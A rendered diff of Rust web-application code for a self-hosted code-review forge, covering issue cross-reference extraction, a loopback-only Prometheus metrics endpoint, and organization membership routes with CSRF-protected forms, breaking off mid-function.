| 597 | + | "SELECT l.name, l.color FROM labels l | |
| 598 | + | JOIN issue_labels il ON il.label_id = l.id | |
| 599 | + | WHERE il.issue_id = $1 ORDER BY l.name", | |
| 600 | + | ) | |
| 601 | + | .bind(issue_id) | |
| 602 | + | .fetch_all(&state.db) | |
| 603 | + | .await?; | |
| 604 | + | Ok(rows | |
| 605 | + | .into_iter() | |
| 606 | + | .map(|(name, color)| v::Label { name, color }) | |
| 607 | + | .collect()) | |
| 608 | + | } | |
| 609 | + | ||
| 610 | + | async fn load_assignees(state: &AppState, issue_id: Uuid) -> AppResult<Vec<String>> { | |
| 611 | + | Ok(sqlx::query_scalar( | |
| 612 | + | "SELECT u.handle::text FROM users u | |
| 613 | + | JOIN issue_assignees a ON a.user_id = u.id | |
| 614 | + | WHERE a.issue_id = $1 ORDER BY u.handle", | |
| 615 | + | ) | |
| 616 | + | .bind(issue_id) | |
| 617 | + | .fetch_all(&state.db) | |
| 618 | + | .await?) | |
| 619 | + | } | |
| 620 | + | ||
| 621 | + | async fn load_comments( | |
| 622 | + | state: &AppState, | |
| 623 | + | issue_id: Uuid, | |
| 624 | + | ctx: &RepoContext, | |
| 625 | + | ) -> AppResult<Vec<CommentRow>> { | |
| 626 | + | let rows: Vec<( | |
| 627 | + | Uuid, | |
| 628 | + | String, | |
| 629 | + | String, | |
| 630 | + | chrono::DateTime<chrono::Utc>, | |
| 631 | + | Option<chrono::DateTime<chrono::Utc>>, | |
| 632 | + | )> = sqlx::query_as( | |
| 633 | + | "SELECT c.id, u.handle::text, c.body, c.created_at, c.edited_at | |
| 634 | + | FROM comments c JOIN users u ON u.id = c.author_user_id | |
| 635 | + | WHERE c.issue_id = $1 ORDER BY c.created_at", | |
| 636 | + | ) | |
| 637 | + | .bind(issue_id) | |
| 638 | + | .fetch_all(&state.db) | |
| 639 | + | .await?; | |
| 640 | + | ||
| 641 | + | Ok(rows | |
| 642 | + | .into_iter() | |
| 643 | + | .map(|(id, author, body, created_at, edited_at)| CommentRow { | |
| 644 | + | id, | |
| 645 | + | author, | |
| 646 | + | body_html: render(ctx, &body), | |
| 647 | + | created_at, | |
| 648 | + | edited: edited_at.is_some(), | |
| 649 | + | anchor_path: None, | |
| 650 | + | anchor_line: None, | |
| 651 | + | anchor_side: None, | |
| 652 | + | anchor_state: "current".into(), | |
| 653 | + | anchor_context: None, | |
| 654 | + | resolved: false, | |
| 655 | + | }) | |
| 656 | + | .collect()) | |
| 657 | + | } | |
| 658 | + | ||
| 659 | + | async fn load_referenced_by( | |
| 660 | + | state: &AppState, | |
| 661 | + | repo_id: Uuid, | |
| 662 | + | target_type: &str, | |
| 663 | + | target_id: Uuid, | |
| 664 | + | ) -> AppResult<Vec<(String, i64, String)>> { | |
| 665 | + | Ok(sqlx::query_as( | |
| 666 | + | r#" | |
| 667 | + | SELECT 'change'::text, c.number, c.title | |
| 668 | + | FROM cross_references x JOIN changes c ON c.id = x.source_id | |
| 669 | + | WHERE x.repo_id = $1 AND x.target_type = $2 AND x.target_id = $3 | |
| 670 | + | AND x.source_type = 'change' | |
| 671 | + | UNION ALL | |
| 672 | + | SELECT 'issue'::text, i.number, i.title | |
| 673 | + | FROM cross_references x JOIN issues i ON i.id = x.source_id | |
| 674 | + | WHERE x.repo_id = $1 AND x.target_type = $2 AND x.target_id = $3 | |
| 675 | + | AND x.source_type = 'issue' | |
| 676 | + | LIMIT 50 | |
| 677 | + | "#, | |
| 678 | + | ) | |
| 679 | + | .bind(repo_id) | |
| 680 | + | .bind(target_type) | |
| 681 | + | .bind(target_id) | |
| 682 | + | .fetch_all(&state.db) | |
| 683 | + | .await?) | |
| 684 | + | } | |
| 685 | + | ||
| 686 | + | // ─── helpers ───────────────────────────────────────────────────────────────── | |
| 687 | + | ||
| 688 | + | /// Render markdown and then resolve cross-references, in that order. | |
| 689 | + | /// | |
| 690 | + | /// Autolinking after rendering is what keeps `#123` inside a code fence a | |
| 691 | + | /// literal (spec §8, and `df_render::autolink`'s own tests). | |
| 692 | + | pub fn render(ctx: &RepoContext, source: &str) -> String { | |
| 693 | + | let html = df_render::comment_to_html(source); | |
| 694 | + | df_render::autolink::autolink( | |
| 695 | + | &html, | |
| 696 | + | &df_render::autolink::LinkContext { repo_base: &ctx.base() }, | |
| 697 | + | ) | |
| 698 | + | } | |
| 699 | + | ||
| 700 | + | async fn set_issue_state( | |
| 701 | + | state: &AppState, | |
| 702 | + | ctx: &RepoContext, | |
| 703 | + | issue: &Issue, | |
| 704 | + | next: &str, | |
| 705 | + | actor: Uuid, | |
| 706 | + | ) -> AppResult<()> { | |
| 707 | + | sqlx::query( | |
| 708 | + | "UPDATE issues | |
| 709 | + | SET state = $2::issue_state, | |
| 710 | + | closed_at = CASE WHEN $2 = 'closed' THEN now() ELSE NULL END, | |
| 711 | + | updated_at = now() | |
| 712 | + | WHERE id = $1", | |
| 713 | + | ) | |
| 714 | + | .bind(issue.id) | |
| 715 | + | .bind(next) | |
| 716 | + | .execute(&state.db) | |
| 717 | + | .await?; | |
| 718 | + | ||
| 719 | + | crate::routes::review::event( | |
| 720 | + | state, | |
| 721 | + | ctx.repo.id, | |
| 722 | + | Some(actor), | |
| 723 | + | if next == "closed" { "issue.closed" } else { "issue.reopened" }, | |
| 724 | + | issue.id, | |
| 725 | + | serde_json::json!({ "number": issue.number }), | |
| 726 | + | ) | |
| 727 | + | .await; | |
| 728 | + | ||
| 729 | + | Ok(()) | |
| 730 | + | } | |
| 731 | + | ||
| 732 | + | /// Extract `#123` references from a body and record them. | |
| 733 | + | /// | |
| 734 | + | /// Best-effort and idempotent: the unique constraint makes a re-run a no-op, | |
| 735 | + | /// and a failure loses a cross-reference rather than the text that contained it. | |
| 736 | + | pub async fn record_references( | |
| 737 | + | state: &AppState, | |
| 738 | + | repo_id: Uuid, | |
| 739 | + | source_type: &str, | |
| 740 | + | source_id: Uuid, | |
| 741 | + | body: &str, | |
| 742 | + | ) { | |
| 743 | + | for number in issue_references(body) { | |
| 744 | + | let target: Result<Option<Uuid>, _> = | |
| 745 | + | sqlx::query_scalar("SELECT id FROM issues WHERE repo_id = $1 AND number = $2") | |
| 746 | + | .bind(repo_id) | |
| 747 | + | .bind(number) | |
| 748 | + | .fetch_optional(&state.db) | |
| 749 | + | .await; | |
| 750 | + | ||
| 751 | + | let Ok(Some(target_id)) = target else { continue }; | |
| 752 | + | if target_id == source_id { | |
| 753 | + | continue; | |
| 754 | + | } | |
| 755 | + | ||
| 756 | + | let _ = sqlx::query( | |
| 757 | + | "INSERT INTO cross_references | |
| 758 | + | (id, repo_id, source_type, source_id, target_type, target_id) | |
| 759 | + | VALUES ($1, $2, $3, $4, 'issue', $5) | |
| 760 | + | ON CONFLICT DO NOTHING", | |
| 761 | + | ) | |
| 762 | + | .bind(new_id()) | |
| 763 | + | .bind(repo_id) | |
| 764 | + | .bind(source_type) | |
| 765 | + | .bind(source_id) | |
| 766 | + | .bind(target_id) | |
| 767 | + | .execute(&state.db) | |
| 768 | + | .await; | |
| 769 | + | } | |
| 770 | + | } | |
| 771 | + | ||
| 772 | + | /// Issue numbers referenced in a body, at word boundaries. | |
| 773 | + | /// | |
| 774 | + | /// Deliberately simpler than the renderer's autolinker: this feeds a database | |
| 775 | + | /// lookup, so a false positive costs a wasted query and a false negative costs | |
| 776 | + | /// a missing back-reference. Neither is a correctness problem, which is why it | |
| 777 | + | /// does not need to know about code fences. | |
| 778 | + | fn issue_references(body: &str) -> Vec<i64> { | |
| 779 | + | let b = body.as_bytes(); | |
| 780 | + | let mut out = Vec::new(); | |
| 781 | + | let mut i = 0; | |
| 782 | + | ||
| 783 | + | while i < b.len() { | |
| 784 | + | if b[i] == b'#' && (i == 0 || !b[i - 1].is_ascii_alphanumeric()) { | |
| 785 | + | let mut j = i + 1; | |
| 786 | + | while j < b.len() && b[j].is_ascii_digit() { | |
| 787 | + | j += 1; | |
| 788 | + | } | |
| 789 | + | if j > i + 1 && j - i - 1 <= 9 { | |
| 790 | + | if let Ok(n) = body[i + 1..j].parse::<i64>() { | |
| 791 | + | if !out.contains(&n) { | |
| 792 | + | out.push(n); | |
| 793 | + | } | |
| 794 | + | } | |
| 795 | + | } | |
| 796 | + | i = j; | |
| 797 | + | continue; | |
| 798 | + | } | |
| 799 | + | i += 1; | |
| 800 | + | } | |
| 801 | + | ||
| 802 | + | out.truncate(50); | |
| 803 | + | out | |
| 804 | + | } | |
| 805 | + | ||
| 806 | + | #[cfg(test)] | |
| 807 | + | mod tests { | |
| 808 | + | use super::issue_references; | |
| 809 | + | ||
| 810 | + | #[test] | |
| 811 | + | fn finds_issue_references() { | |
| 812 | + | assert_eq!(issue_references("fixes #12 and #7"), vec![12, 7]); | |
| 813 | + | assert_eq!(issue_references("no references here"), Vec::<i64>::new()); | |
| 814 | + | } | |
| 815 | + | ||
| 816 | + | #[test] | |
| 817 | + | fn ignores_mid_word_hashes_and_duplicates() { | |
| 818 | + | assert_eq!(issue_references("abc#12"), Vec::<i64>::new()); | |
| 819 | + | assert_eq!(issue_references("#3 and #3 again"), vec![3]); | |
| 820 | + | } | |
| 821 | + | ||
| 822 | + | #[test] | |
| 823 | + | fn absurd_numbers_are_ignored() { | |
| 824 | + | assert_eq!(issue_references("#12345678901"), Vec::<i64>::new()); | |
| 825 | + | } | |
| 826 | + | ||
| 827 | + | #[test] | |
| 828 | + | fn a_body_full_of_references_is_capped() { | |
| 829 | + | let body: String = (1..200).map(|n| format!("#{n} ")).collect(); | |
| 830 | + | assert_eq!(issue_references(&body).len(), 50); | |
| 831 | + | } | |
| 832 | + | } | |
Acrates/df-web/src/routes/metrics.rs+157−0
| @@ −0,0 +1,157 @@ | |||
| 1 | + | //! `GET /metrics` — Prometheus exposition (spec §7, §10). | |
| 2 | + | //! | |
| 3 | + | //! > `GET /metrics` — **bind to loopback only**. | |
| 4 | + | //! | |
| 5 | + | //! Dogfood serves one port, so "bind to loopback only" is enforced per request | |
| 6 | + | //! rather than per socket: the peer address must be a loopback address, or the | |
| 7 | + | //! response is the same 404 any unknown path gets. A 403 would confirm the | |
| 8 | + | //! endpoint exists, and the metrics say how many private repositories there are. | |
| 9 | + | //! | |
| 10 | + | //! The peer address comes from `ConnectInfo` — the real TCP peer — and never | |
| 11 | + | //! from `X-Forwarded-For`, which the client controls. Behind the edge proxy that | |
| 12 | + | //! means metrics are unreachable from outside the host, which is the point; | |
| 13 | + | //! scrape it with `docker exec` or over the compose network. | |
| 14 | + | //! | |
| 15 | + | //! The metric set is the one §10 says to alert on: job queue depth, indexer | |
| 16 | + | //! failures, and push latency. Everything else here is cheap context. | |
| 17 | + | ||
| 18 | + | use axum::extract::State; | |
| 19 | + | use axum::response::{IntoResponse, Response}; | |
| 20 | + | ||
| 21 | + | use crate::error::{AppError, AppResult}; | |
| 22 | + | use crate::state::{AppState, PeerAddr}; | |
| 23 | + | ||
| 24 | + | pub async fn metrics(State(state): State<AppState>, peer: PeerAddr) -> AppResult<Response> { | |
| 25 | + | // A peer that cannot be proven local is treated exactly like a remote one. | |
| 26 | + | // Defaulting the other way would serve metrics to anybody the moment the | |
| 27 | + | // server was reconfigured without connect info. | |
| 28 | + | if !peer.is_loopback() { | |
| 29 | + | tracing::debug!(peer = ?peer.ip(), "refusing /metrics: not a loopback peer"); | |
| 30 | + | return Err(AppError::NotFound); | |
| 31 | + | } | |
| 32 | + | ||
| 33 | + | let mut out = String::with_capacity(2048); | |
| 34 | + | ||
| 35 | + | // ── the three §10 alerting signals ─────────────────────────────────────── | |
| 36 | + | ||
| 37 | + | let (ready, failed, oldest): (i64, i64, Option<f64>) = sqlx::query_as( | |
| 38 | + | "SELECT | |
| 39 | + | count(*) FILTER (WHERE locked_at IS NULL AND attempts < max_attempts), | |
| 40 | + | count(*) FILTER (WHERE attempts >= max_attempts), | |
| 41 | + | EXTRACT(EPOCH FROM (now() - min(run_at)))::float8 | |
| 42 | + | FILTER (WHERE locked_at IS NULL) | |
| 43 | + | FROM jobs", | |
| 44 | + | ) | |
| 45 | + | .fetch_one(&state.db) | |
| 46 | + | .await | |
| 47 | + | .unwrap_or((0, 0, None)); | |
| 48 | + | ||
| 49 | + | gauge(&mut out, "dogfood_jobs_queued", "Jobs waiting to run.", ready as f64); | |
| 50 | + | gauge( | |
| 51 | + | &mut out, | |
| 52 | + | "dogfood_jobs_failed", | |
| 53 | + | "Jobs that exhausted their retries. Alert on any increase.", | |
| 54 | + | failed as f64, | |
| 55 | + | ); | |
| 56 | + | gauge( | |
| 57 | + | &mut out, | |
| 58 | + | "dogfood_jobs_oldest_seconds", | |
| 59 | + | "Age of the oldest queued job. The queue-depth alert that actually matters.", | |
| 60 | + | oldest.unwrap_or(0.0), | |
| 61 | + | ); | |
| 62 | + | ||
| 63 | + | // Push latency, as the lag between a push landing and its index job being | |
| 64 | + | // picked up. Measured from the rows rather than instrumented in-process so | |
| 65 | + | // it survives a restart of either service. | |
| 66 | + | let push_lag: Option<f64> = sqlx::query_scalar( | |
| 67 | + | "SELECT EXTRACT(EPOCH FROM (now() - max(pushed_at)))::float8 FROM revisions", | |
| 68 | + | ) | |
| 69 | + | .fetch_one(&state.db) | |
| 70 | + | .await | |
| 71 | + | .unwrap_or(None); | |
| 72 | + | gauge( | |
| 73 | + | &mut out, | |
| 74 | + | "dogfood_seconds_since_last_push", | |
| 75 | + | "Seconds since the most recent indexed revision.", | |
| 76 | + | push_lag.unwrap_or(-1.0), | |
| 77 | + | ); | |
| 78 | + | ||
| 79 | + | // ── inventory ──────────────────────────────────────────────────────────── | |
| 80 | + | ||
| 81 | + | for (metric, help, sql) in [ | |
| 82 | + | ("dogfood_users", "Provisioned users.", "SELECT count(*) FROM users"), | |
| 83 | + | ("dogfood_repos", "Repositories.", "SELECT count(*) FROM repos"), | |
| 84 | + | ( | |
| 85 | + | "dogfood_repos_private", | |
| 86 | + | "Private repositories.", | |
| 87 | + | "SELECT count(*) FROM repos WHERE visibility = 'private'", | |
| 88 | + | ), | |
| 89 | + | ("dogfood_changes", "Changes indexed.", "SELECT count(*) FROM changes"), | |
| 90 | + | ( | |
| 91 | + | "dogfood_changes_conflicted", | |
| 92 | + | "Changes whose head revision is conflicted.", | |
| 93 | + | "SELECT count(*) FROM changes WHERE conflicted", | |
| 94 | + | ), | |
| 95 | + | ("dogfood_revisions", "Revisions indexed.", "SELECT count(*) FROM revisions"), | |
| 96 | + | ("dogfood_issues_open", "Open issues.", "SELECT count(*) FROM issues WHERE state = 'open'"), | |
| 97 | + | ( | |
| 98 | + | "dogfood_comments_orphaned", | |
| 99 | + | "Inline comments whose anchor no longer exists.", | |
| 100 | + | "SELECT count(*) FROM comments WHERE anchor_state = 'orphaned'", | |
| 101 | + | ), | |
| 102 | + | ( | |
| 103 | + | "dogfood_highlight_cache_entries", | |
| 104 | + | "Cached syntax-highlighted blobs.", | |
| 105 | + | "SELECT count(*) FROM highlight_cache", | |
| 106 | + | ), | |
| 107 | + | ] { | |
| 108 | + | let n: i64 = sqlx::query_scalar(sql).fetch_one(&state.db).await.unwrap_or(-1); | |
| 109 | + | gauge(&mut out, metric, help, n as f64); | |
| 110 | + | } | |
| 111 | + | ||
| 112 | + | // Reachability of the database is already the substance of every query | |
| 113 | + | // above; a separate probe would only be able to disagree with them. | |
| 114 | + | gauge(&mut out, "dogfood_up", "Always 1 when the process is serving.", 1.0); | |
| 115 | + | ||
| 116 | + | Ok(( | |
| 117 | + | [( | |
| 118 | + | axum::http::header::CONTENT_TYPE, | |
| 119 | + | "text/plain; version=0.0.4; charset=utf-8", | |
| 120 | + | )], | |
| 121 | + | out, | |
| 122 | + | ) | |
| 123 | + | .into_response()) | |
| 124 | + | } | |
| 125 | + | ||
| 126 | + | fn gauge(out: &mut String, name: &str, help: &str, value: f64) { | |
| 127 | + | use std::fmt::Write as _; | |
| 128 | + | let _ = writeln!(out, "# HELP {name} {help}"); | |
| 129 | + | let _ = writeln!(out, "# TYPE {name} gauge"); | |
| 130 | + | let _ = writeln!(out, "{name} {value}"); | |
| 131 | + | } | |
| 132 | + | ||
| 133 | + | #[cfg(test)] | |
| 134 | + | mod tests { | |
| 135 | + | use super::gauge; | |
| 136 | + | ||
| 137 | + | #[test] | |
| 138 | + | fn exposition_format_is_well_formed() { | |
| 139 | + | let mut s = String::new(); | |
| 140 | + | gauge(&mut s, "dogfood_x", "A thing.", 3.0); | |
| 141 | + | assert_eq!( | |
| 142 | + | s, | |
| 143 | + | "# HELP dogfood_x A thing.\n# TYPE dogfood_x gauge\ndogfood_x 3\n" | |
| 144 | + | ); | |
| 145 | + | } | |
| 146 | + | ||
| 147 | + | #[test] | |
| 148 | + | fn loopback_detection_covers_both_families() { | |
| 149 | + | use std::net::IpAddr; | |
| 150 | + | assert!("127.0.0.1".parse::<IpAddr>().unwrap().is_loopback()); | |
| 151 | + | assert!("::1".parse::<IpAddr>().unwrap().is_loopback()); | |
| 152 | + | // The container's own bridge address is *not* loopback, which is what | |
| 153 | + | // keeps /metrics off the compose network by default. | |
| 154 | + | assert!(!"172.17.0.2".parse::<IpAddr>().unwrap().is_loopback()); | |
| 155 | + | assert!(!"10.0.0.1".parse::<IpAddr>().unwrap().is_loopback()); | |
| 156 | + | } | |
| 157 | + | } | |
Acrates/df-web/src/routes/mod.rs+18−0
| @@ −0,0 +1,18 @@ | |||
| 1 | + | //! HTTP routes (spec §7). | |
| 2 | + | ||
| 3 | + | pub mod auth; | |
| 4 | + | pub mod change; | |
| 5 | + | pub mod design; | |
| 6 | + | pub mod health; | |
| 7 | + | pub mod home; | |
| 8 | + | pub mod edit; | |
| 9 | + | pub mod issue; | |
| 10 | + | pub mod metrics; | |
| 11 | + | pub mod org; | |
| 12 | + | pub mod profile; | |
| 13 | + | pub mod repo; | |
| 14 | + | pub mod repo_settings; | |
| 15 | + | pub mod review; | |
| 16 | + | pub mod search; | |
| 17 | + | pub mod settings; | |
| 18 | + | pub mod setup; | |
Acrates/df-web/src/routes/org.rs450 lines+450−0
| @@ −0,0 +1,450 @@ | |||
| 1 | + | //! Organizations and membership (M5). | |
| 2 | + | //! | |
| 3 | + | //! Orgs share the handle namespace with users — enforced by a trigger in the | |
| 4 | + | //! schema, not here — so `/{handle}` stays unambiguous and an org cannot be | |
| 5 | + | //! created that shadows a person. | |
| 6 | + | //! | |
| 7 | + | //! Org membership grants repository access through `permissions::resolve`: | |
| 8 | + | //! admins get repo `admin`, members get `read`. Nothing in this module makes a | |
| 9 | + | //! permission decision of its own. | |
| 10 | + | ||
| 11 | + | use axum::extract::{Path as UrlPath, Query, State}; | |
| 12 | + | use axum::response::{IntoResponse, Redirect, Response}; | |
| 13 | + | use axum::Form; | |
| 14 | + | use df_db::ids::new_id; | |
| 15 | + | use df_db::models::OrgRole; | |
| 16 | + | use serde::Deserialize; | |
| 17 | + | use uuid::Uuid; | |
| 18 | + | ||
| 19 | + | use crate::error::{AppError, AppResult}; | |
| 20 | + | use crate::routes::settings::{audit, urlencode}; | |
| 21 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 22 | + | use crate::views::{self, Chrome}; | |
| 23 | + | ||
| 24 | + | #[derive(Deserialize, Default)] | |
| 25 | + | pub struct Flash { | |
| 26 | + | pub error: Option<String>, | |
| 27 | + | pub notice: Option<String>, | |
| 28 | + | } | |
| 29 | + | ||
| 30 | + | /// `GET /orgs/new` | |
| 31 | + | pub async fn new_form( | |
| 32 | + | Query(flash): Query<Flash>, | |
| 33 | + | CurrentUser(user): CurrentUser, | |
| 34 | + | CsrfToken(csrf): CsrfToken, | |
| 35 | + | Nonce(nonce): Nonce, | |
| 36 | + | ) -> AppResult<Response> { | |
| 37 | + | let Some(user) = user else { | |
| 38 | + | return Err(AppError::Unauthorized); | |
| 39 | + | }; | |
| 40 | + | ||
| 41 | + | Ok(views::page( | |
| 42 | + | Chrome { title: "New organization", user: Some(&user), csrf: &csrf, nonce: &nonce }, | |
| 43 | + | maud::html! { | |
| 44 | + | div .panel { | |
| 45 | + | h1 { "New organization" } | |
| 46 | + | p .lede { | |
| 47 | + | "An organization owns repositories on behalf of a group. You become \ | |
| 48 | + | its first administrator." | |
| 49 | + | } | |
| 50 | + | @if let Some(e) = &flash.error { div .banner.banner-error role="alert" { (e) } } | |
| 51 | + | ||
| 52 | + | form method="post" action="/orgs" .stack { | |
| 53 | + | input type="hidden" name="_csrf" value=(csrf); | |
| 54 | + | div .field { | |
| 55 | + | label for="handle" { "Handle" } | |
| 56 | + | input type="text" id="handle" name="handle" required | |
| 57 | + | pattern="[a-z0-9][a-z0-9-]*" maxlength="39" autofocus; | |
| 58 | + | p .hint { | |
| 59 | + | "Appears in URLs, like " code { "dogfood.sh/your-org/repo" } ". \ | |
| 60 | + | Shares a namespace with user handles." | |
| 61 | + | } | |
| 62 | + | } | |
| 63 | + | div .field { | |
| 64 | + | label for="display_name" { "Display name" } | |
| 65 | + | input type="text" id="display_name" name="display_name" maxlength="100"; | |
| 66 | + | } | |
| 67 | + | div .field { | |
| 68 | + | label for="description" { "Description" } | |
| 69 | + | input type="text" id="description" name="description" maxlength="500"; | |
| 70 | + | } | |
| 71 | + | button .btn.btn-primary type="submit" { "Create organization" } | |
| 72 | + | } | |
| 73 | + | } | |
| 74 | + | }, | |
| 75 | + | ) | |
| 76 | + | .into_response()) | |
| 77 | + | } | |
| 78 | + | ||
| 79 | + | #[derive(Deserialize)] | |
| 80 | + | pub struct CreateOrg { | |
| 81 | + | pub handle: String, | |
| 82 | + | pub display_name: Option<String>, | |
| 83 | + | pub description: Option<String>, | |
| 84 | + | } | |
| 85 | + | ||
| 86 | + | /// `POST /orgs` | |
| 87 | + | pub async fn create( | |
| 88 | + | State(state): State<AppState>, | |
| 89 | + | CurrentUser(user): CurrentUser, | |
| 90 | + | Form(form): Form<CreateOrg>, | |
| 91 | + | ) -> AppResult<Response> { | |
| 92 | + | let Some(user) = user else { | |
| 93 | + | return Err(AppError::Unauthorized); | |
| 94 | + | }; | |
| 95 | + | ||
| 96 | + | let handle = form.handle.trim().to_lowercase(); | |
| 97 | + | if !valid_handle(&handle) { | |
| 98 | + | return Ok(reject("Handles are lowercase letters, digits and hyphens, up to 39 characters.")); | |
| 99 | + | } | |
| 100 | + | ||
| 101 | + | // Reserved handles are top-level routes; one held by an org would shadow | |
| 102 | + | // them (spec §7 puts /settings, /new and /search at the root). | |
| 103 | + | let reserved: bool = | |
| 104 | + | sqlx::query_scalar("SELECT EXISTS (SELECT 1 FROM reserved_handles WHERE handle = $1)") | |
| 105 | + | .bind(&handle) | |
| 106 | + | .fetch_one(&state.db) | |
| 107 | + | .await?; | |
| 108 | + | if reserved { | |
| 109 | + | return Ok(reject("That handle is reserved.")); | |
| 110 | + | } | |
| 111 | + | ||
| 112 | + | let org_id = new_id(); | |
| 113 | + | let mut tx = state.db.begin().await?; | |
| 114 | + | ||
| 115 | + | // The unique constraint and the namespace trigger both surface as a unique | |
| 116 | + | // violation; either way the handle is taken, and saying which would leak | |
| 117 | + | // whether a private account exists. | |
| 118 | + | let inserted = sqlx::query( | |
| 119 | + | "INSERT INTO orgs (id, handle, display_name, description) | |
| 120 | + | VALUES ($1, $2, $3, $4) ON CONFLICT DO NOTHING", | |
| 121 | + | ) | |
| 122 | + | .bind(org_id) | |
| 123 | + | .bind(&handle) | |
| 124 | + | .bind(form.display_name.as_deref().map(str::trim).filter(|s| !s.is_empty())) | |
| 125 | + | .bind(form.description.as_deref().map(str::trim).filter(|s| !s.is_empty())) | |
| 126 | + | .execute(&mut *tx) | |
| 127 | + | .await; | |
| 128 | + | ||
| 129 | + | match inserted { | |
| 130 | + | Ok(r) if r.rows_affected() == 0 => return Ok(reject("That handle is taken.")), | |
| 131 | + | Err(e) if is_unique_violation(&e) => return Ok(reject("That handle is taken.")), | |
| 132 | + | Err(e) => return Err(e.into()), | |
| 133 | + | Ok(_) => {} | |
| 134 | + | } | |
| 135 | + | ||
| 136 | + | sqlx::query("INSERT INTO org_members (org_id, user_id, role) VALUES ($1, $2, 'admin')") | |
| 137 | + | .bind(org_id) | |
| 138 | + | .bind(user.id) | |
| 139 | + | .execute(&mut *tx) | |
| 140 | + | .await?; | |
| 141 | + | ||
| 142 | + | tx.commit().await?; | |
| 143 | + | ||
| 144 | + | audit(&state, user.id, "org.created", &handle).await; | |
| 145 | + | ||
| 146 | + | Ok(Redirect::to(&format!("/{handle}")).into_response()) | |
| 147 | + | } | |
| 148 | + | ||
| 149 | + | /// `GET /{handle}/-/members` — org membership management. | |
| 150 | + | /// | |
| 151 | + | /// Under `/-/` rather than `/{handle}/members` so it cannot collide with a | |
| 152 | + | /// repository called `members`. | |
| 153 | + | pub async fn members( | |
| 154 | + | State(state): State<AppState>, | |
| 155 | + | UrlPath(handle): UrlPath<String>, | |
| 156 | + | Query(flash): Query<Flash>, | |
| 157 | + | CurrentUser(user): CurrentUser, | |
| 158 | + | CsrfToken(csrf): CsrfToken, | |
| 159 | + | Nonce(nonce): Nonce, | |
| 160 | + | ) -> AppResult<Response> { | |
| 161 | + | let Some(user) = user else { | |
| 162 | + | return Err(AppError::Unauthorized); | |
| 163 | + | }; | |
| 164 | + | ||
| 165 | + | let org = load_org(&state, &handle).await?.ok_or(AppError::NotFound)?; | |
| 166 | + | let role = member_role(&state, org.id, user.id).await?; | |
| 167 | + | ||
| 168 | + | // Not a member: the same 404 a nonexistent org gets. Membership of an org | |
| 169 | + | // is not public information here. | |
| 170 | + | if role.is_none() && !user.is_admin { | |
| 171 | + | return Err(AppError::NotFound); | |
| 172 | + | } | |
| 173 | + | let is_admin = user.is_admin || role == Some(OrgRole::Admin); | |
| 174 | + | ||
| 175 | + | let rows: Vec<(String, OrgRole)> = sqlx::query_as( | |
| 176 | + | "SELECT u.handle::text, m.role FROM org_members m JOIN users u ON u.id = m.user_id | |
| 177 | + | WHERE m.org_id = $1 ORDER BY m.role DESC, u.handle", | |
| 178 | + | ) | |
| 179 | + | .bind(org.id) | |
| 180 | + | .fetch_all(&state.db) | |
| 181 | + | .await?; | |
| 182 | + | ||
| 183 | + | Ok(views::page( | |
| 184 | + | Chrome { | |
| 185 | + | title: &format!("{handle} members"), | |
| 186 | + | user: Some(&user), | |
| 187 | + | csrf: &csrf, | |
| 188 | + | nonce: &nonce, | |
| 189 | + | }, | |
| 190 | + | maud::html! { | |
| 191 | + | div .panel { | |
| 192 | + | h1 { (org.display_name.as_deref().unwrap_or(&org.handle)) } | |
| 193 | + | p .dim { "@" (org.handle) " · organization" } | |
| 194 | + | p { a href=(format!("/{handle}")) { "Back to the profile" } } | |
| 195 | + | } | |
| 196 | + | ||
| 197 | + | @if let Some(e) = &flash.error { div .banner.banner-error role="alert" { (e) } } | |
| 198 | + | @if let Some(n) = &flash.notice { div .banner.banner-ok role="status" { (n) } } | |
| 199 | + | ||
| 200 | + | div .panel { | |
| 201 | + | h2 { "Members" } | |
| 202 | + | table .listing { | |
| 203 | + | thead { tr { th scope="col" { "User" } th scope="col" { "Role" } th scope="col" {} } } | |
| 204 | + | tbody { | |
| 205 | + | @for (h, r) in &rows { | |
| 206 | + | tr { | |
| 207 | + | td { a href=(format!("/{h}")) { (h) } } | |
| 208 | + | td { (role_str(*r)) } | |
| 209 | + | td { | |
| 210 | + | @if is_admin { | |
| 211 | + | form method="post" | |
| 212 | + | action=(format!("/{handle}/-/members/remove")) { | |
| 213 | + | input type="hidden" name="_csrf" value=(csrf); | |
| 214 | + | input type="hidden" name="handle" value=(h); | |
| 215 | + | button .btn.btn-danger type="submit" { "Remove" } | |
| 216 | + | } | |
| 217 | + | } | |
| 218 | + | } | |
| 219 | + | } | |
| 220 | + | } | |
| 221 | + | } | |
| 222 | + | } | |
| 223 | + | ||
| 224 | + | @if is_admin { | |
| 225 | + | form method="post" action=(format!("/{handle}/-/members")) .stack { | |
| 226 | + | input type="hidden" name="_csrf" value=(csrf); | |
| 227 | + | div .field { | |
| 228 | + | label for="member" { "Add a member" } | |
| 229 | + | input type="text" id="member" name="handle" required | |
| 230 | + | pattern="[a-z0-9][a-z0-9-]*" maxlength="39" placeholder="handle"; | |
| 231 | + | } | |
| 232 | + | div .field { | |
| 233 | + | label for="role" { "Role" } | |
| 234 | + | select id="role" name="role" { | |
| 235 | + | option value="member" selected { "member — read access to org repositories" } | |
| 236 | + | option value="admin" { "admin — full access, and can manage membership" } | |
| 237 | + | } | |
| 238 | + | } | |
| 239 | + | button .btn.btn-primary type="submit" { "Add" } | |
| 240 | + | } | |
| 241 | + | } | |
| 242 | + | } | |
| 243 | + | }, | |
| 244 | + | ) | |
| 245 | + | .into_response()) | |
| 246 | + | } | |
| 247 | + | ||
| 248 | + | #[derive(Deserialize)] | |
| 249 | + | pub struct MemberForm { | |
| 250 | + | pub handle: String, | |
| 251 | + | pub role: Option<String>, | |
| 252 | + | } | |
| 253 | + | ||
| 254 | + | /// `POST /{handle}/-/members` | |
| 255 | + | pub async fn add_member( | |
| 256 | + | State(state): State<AppState>, | |
| 257 | + | UrlPath(handle): UrlPath<String>, | |
| 258 | + | CurrentUser(user): CurrentUser, | |
| 259 | + | Form(form): Form<MemberForm>, | |
| 260 | + | ) -> AppResult<Response> { | |
| 261 | + | let (org, user) = require_org_admin(&state, &handle, user).await?; | |
| 262 | + | ||
| 263 | + | let role = match form.role.as_deref() { | |
| 264 | + | Some("admin") => "admin", | |
| 265 | + | _ => "member", | |
| 266 | + | }; | |
| 267 | + | ||
| 268 | + | let target: Option<(Uuid,)> = sqlx::query_as("SELECT id FROM users WHERE handle = $1") | |
| 269 | + | .bind(form.handle.trim()) | |
| 270 | + | .fetch_optional(&state.db) | |
| 271 | + | .await?; | |
| 272 | + | ||
| 273 | + | let Some((target_id,)) = target else { | |
